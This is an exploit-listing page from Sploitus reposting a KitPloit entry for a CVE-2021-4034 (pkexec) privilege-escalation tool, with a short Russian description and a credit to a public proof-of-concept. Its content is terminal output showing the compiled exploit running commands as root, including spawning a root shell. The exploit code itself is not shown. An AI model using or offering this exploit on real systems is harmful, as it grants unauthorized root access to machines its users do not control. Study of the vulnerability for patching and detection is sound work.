Sploitus

Exploit for cve-2021-4034 CVE-2021-4034

kitploit · 2026-08-27

Exploit Code

MARKDOWN50 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WUDICAINIAO-CVE-2021-4034
# CVE-2021-4034

Этот инструмент предназначен для pkexec **выполнения одной команды**

## POC

**whoami**

root@kitploit:~
    
    
    [test@localhost cc]$ ./a.out /usr/bin/whoami
    execute success : 
    root
    

**ping 8.8.8.8**

root@kitploit:~
    
    
    [test@localhost cc]$ ./a.out /usr/bin/ping 8.8.8.8
    execute success : 
    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=114 time=61.4 ms
    64 bytes from 8.8.8.8: icmp_seq=2 ttl=114 time=67.0 ms
    64 bytes from 8.8.8.8: icmp_seq=3 ttl=114 time=59.6 ms
    64 bytes from 8.8.8.8: icmp_seq=4 ttl=114 time=59.0 ms
    64 bytes from 8.8.8.8: icmp_seq=5 ttl=114 time=58.5 ms
    64 bytes from 8.8.8.8: icmp_seq=6 ttl=114 time=61.2 ms
    ^C
    --- 8.8.8.8 ping statistics ---
    6 packets transmitted, 6 received, 0% packet loss, time 5015ms
    rtt min/avg/max/mdev = 58.531/61.160/67.068/2.850 ms
    

**/usr/bin/sh**

root@kitploit:~
    
    
     [niao@localhost cc]$ ./a.out /usr/bin/sh
    execute success : 
    sh-4.2# /usr/bin/whoami 
    root
    sh-4.2# 
    

модифицировано из https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c